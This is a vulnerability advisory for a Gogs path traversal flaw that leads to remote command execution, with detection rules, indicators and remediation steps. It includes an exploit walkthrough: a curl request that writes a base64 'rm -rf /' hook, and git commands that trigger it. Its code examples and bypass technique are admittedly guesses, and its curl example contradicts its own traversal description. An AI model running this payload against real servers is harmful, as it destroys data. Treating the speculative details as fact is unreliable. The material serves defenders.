CVE-2025-64111

Executive Summary

CVE-2025-64111 is a critical vulnerability in Gogs, an open-source self-hosted Git service, affecting versions 0.13.3 and prior. This vulnerability is a bypass of the incomplete patch for CVE-2024-56731, allowing an unauthenticated attacker to write arbitrary files into the .git directory of a repository. By exploiting this path traversal flaw, an attacker can achieve remote command execution (RCE) on the server hosting the Gogs instance. The vulnerability has been assigned a CVSS score of 9.8 (Critical) due to its network-based attack vector, low complexity, and no required privileges or user interaction. Public proof-of-concept (PoC) code is available, and active exploitation in the wild is expected. The patch is available in Gogs versions 0.13.4 and 0.14.0+dev.

Supply Chain & Package Security

Gogs is a Go-based application distributed as a binary or via Docker images. Organizations using Gogs as part of their CI/CD pipeline or internal development infrastructure are at high risk. An attacker gaining RCE can compromise the entire supply chain by injecting malicious code into repositories, stealing secrets, or pivoting to other internal systems. The vulnerability is particularly dangerous because it requires no authentication, making it a prime target for automated scanning and exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify files and execute commands.
• Availability (A): High (H) – Attacker can disrupt service or cause denial of service.

Threat Level: Critical. The combination of remote exploitability, low complexity, and no authentication makes this a high-priority vulnerability for immediate patching.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Gogs. When a user pushes a commit or uploads a file via the web interface, Gogs processes the file path to ensure it stays within the repository's working directory. However, the sanitization logic in versions 0.13.3 and prior is insufficient, allowing an attacker to use path traversal sequences (e.g., ../) to escape the intended directory and write files to arbitrary locations, specifically the .git directory.

The .git directory contains critical Git metadata, including hooks (e.g., pre-receive, post-receive). By writing a malicious hook script (e.g., a shell script) into the .git/hooks/ directory, an attacker can trigger remote command execution when a Git operation (like a push) is performed. Since the attacker can also trigger a push via the API, the exploit can be fully automated.

The bypass of CVE-2024-56731 likely involved a different encoding or path manipulation technique that was not covered by the original patch. For example, the attacker might use URL-encoded characters, double encoding, or alternative path traversal patterns (e.g., ..%252f or ....//).

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.13.3): The vulnerable code likely resides in the file upload handler, where the file path is sanitized but not recursively or thoroughly. A simplified example:

func handleFileUpload(repoPath, filePath string) error {
    // Insufficient sanitization
    if strings.Contains(filePath, "..") {
        return errors.New("invalid path")
    }
    fullPath := filepath.Join(repoPath, filePath)
    // Write file to fullPath
    return ioutil.WriteFile(fullPath, data, 0644)
}

This check can be bypassed by using URL-encoded .. (e.g., %2e%2e/) or by using alternative traversal patterns like ....// which, after normalization, becomes ../.

Patched Code (>= 0.13.4): The patched code uses a more robust sanitization method, such as cleaning the path and ensuring it stays within the intended base directory:

func handleFileUpload(repoPath, filePath string) error {
    // Clean the path and ensure it's within repoPath
    cleanPath := filepath.Clean(filepath.Join(repoPath, filePath))
    if !strings.HasPrefix(cleanPath, repoPath) {
        return errors.New("path traversal detected")
    }
    // Write file to cleanPath
    return ioutil.WriteFile(cleanPath, data, 0644)
}

Additionally, the patched version likely restricts writing to the .git directory explicitly.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Gogs instance (version 0.13.3 or earlier) running on a target.
• Network access to the Gogs web interface (typically port 3000 or 80/443).

Exploitation Steps:

1. Identify a vulnerable endpoint: The file upload endpoint is typically /api/v1/repos/{owner}/{repo}/contents or similar. Use a tool like Burp Suite or curl to interact with the API.

2. Craft a malicious request: Send a PUT request to create a file with a path traversal payload. For example, to write a Git hook:

curl -X PUT "http://target:3000/api/v1/repos/testuser/testrepo/contents/.git/hooks/pre-receive" \
  -H "Content-Type: application/json" \
  -d '{
    "content": "IyEvYmluL2Jhc2gKcm0gLXJmIC8gIA==",
    "message": "exploit",
    "branch": "main"
  }'

The content field is base64-encoded shell script (e.g., #!/bin/bash\nrm -rf /). The path ../.git/hooks/pre-receive traverses out of the working directory.

3. Trigger the hook: Push a commit to the repository to execute the hook:

git clone http://target:3000/testuser/testrepo.git
cd testrepo
echo "trigger" > trigger.txt
git add .
git commit -m "trigger"
git push origin main

The pre-receive hook executes on the server, granting RCE.

Alternative Method: If the API is not accessible, use the web UI to upload a file with a manipulated filename (e.g., using Burp to intercept and modify the path).

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual file writes to .git/hooks/ directories.
• Alert on API requests with path traversal patterns (e.g., ../, %2e%2e/, ....//).
• Use file integrity monitoring (FIM) on the .git/hooks/ directory.

Mitigation:

• Immediately upgrade to Gogs 0.13.4 or later.
• If patching is not possible, restrict network access to the Gogs web interface (e.g., use a VPN or firewall rules).
• Disable file upload functionality if not needed.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.

Hunting:

• Search logs for HTTP 200 responses to PUT requests with paths containing .. or .git.
• Check for unexpected files in .git/hooks/ on all Gogs repositories.

Indicators of Compromise (IOCs)

• File Paths:

  • .git/hooks/pre-receive
  • .git/hooks/post-receive
  • .git/hooks/update
  • Any file written to .git/ via the web interface or API.

• Network Indicators:

  • HTTP PUT requests to /api/v1/repos/*/contents/ with paths containing ../ or URL-encoded traversal sequences.
  • Unusual base64-encoded content in API requests (decoded content may reveal shell commands).

• Log Entries:

  • Gogs logs showing file writes to paths outside the repository working directory.
  • System logs showing execution of unexpected scripts (e.g., bash processes spawned by Git hooks).

• File Hashes (Example malicious hook):

  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file, replace with actual hash of known malicious hook).

Detection Engineering

YARA Rule

rule CVE_2025_64111_Gogs_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Gogs .git directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64111"
        severity = "critical"
    strings:
        $traversal1 = ".." ascii wide nocase
        $traversal2 = "%2e%2e" ascii wide nocase
        $traversal3 = "....//" ascii wide nocase
        $git_hooks = ".git/hooks" ascii wide nocase
        $git_config = ".git/config" ascii wide nocase
    condition:
        any of ($traversal*) and any of ($git_hooks, $git_config)
}

Sigma Rule

title: Gogs Path Traversal to .git Directory
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to write files to the .git directory in Gogs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64111
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-query|contains:
            - '.git/hooks'
            - '.git/config'
            - '..%2f'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate Git operations (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64111 Gogs Path Traversal Attempt"; flow:to_server; content:"PUT"; http_method; content:".git/hooks"; http_uri; nocase; content:".."; http_uri; distance:0; sid:1000001; rev:1; reference:cve,2025-64111; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Gogs to version 0.13.4 or 0.14.0+dev immediately. This is the only complete fix.
2. Workaround: If patching is delayed, disable the file upload feature by removing write permissions for non-admin users or by using a reverse proxy to block PUT requests to the API.
3. Network Segmentation: Restrict access to the Gogs web interface to trusted IP addresses only (e.g., via VPN or firewall).

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to detect and block path traversal attempts.
• Regularly audit Gogs logs for suspicious file write operations.
• Use file integrity monitoring (FIM) on the .git/hooks/ directory to alert on unauthorized changes.
• Conduct regular security assessments and penetration testing of self-hosted Git services.

Validation:

• After patching, verify that the vulnerability is no longer exploitable by attempting the PoC (in a test environment).
• Check that the .git/hooks/ directory is not writable via the web interface.

Valters IT